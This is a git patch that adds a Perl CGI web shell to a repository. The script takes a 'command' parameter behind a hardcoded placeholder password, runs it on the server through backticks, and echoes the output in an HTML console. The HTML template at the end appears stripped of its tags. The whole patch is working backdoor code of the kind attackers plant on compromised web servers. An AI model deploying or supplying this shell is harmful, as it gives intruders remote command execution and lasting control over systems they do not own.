From cb19bf2710b6fb85a610993b913880fadef3edbc Mon Sep 17 00:00:00 2001 From: Krisna Pranav <68631244+krishpranav@users.noreply.github.com> Date: Tue, 28 Dec 2021 19:56:11 +0530 Subject: [PATCH] perl web shell --- pl/perlweb_shell.pl | 71 +++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 71 insertions(+) create mode 100644 pl/perlweb_shell.pl diff --git a/pl/perlweb_shell.pl b/pl/perlweb_shell.pl new file mode 100644 index 0000000..bcbcf36 --- /dev/null +++ b/pl/perlweb_shell.pl @@ -0,0 +1,71 @@ +#!/usr/bin/perl +use CGI; +use Cwd; +print CGI::header( -type => 'text/html' ); +my $command = CGI::param('command'); +my $pwd = CGI::param('pwd') || ''; +my $password = CGI::param('password'); +my $filename = CGI->script_name() ; + +if ( $password ne 'yourpassword' ) { + print "Please provide a valid password.\n"; + exit(0) +} + +$pwd = $pwd eq '' ? `pwd` : $pwd; +my $home = Cwd::cwd(); +chdir($pwd); + +my $result=''; + +if ($command =~ /^cd\s*(.*)/) { + my $dir = $1 or ''; + if ($dir eq '') { + chdir($home); + } else { + chdir($dir); + } + $pwd = Cwd::cwd(); + $result = `ls -la`; +} else { + $result = `$command`; +} + +print < + +console + + + +

+Script: $filename PWD: $pwd
+

+
Command:  +
+ + +
+
+ +EOF + +exit 0;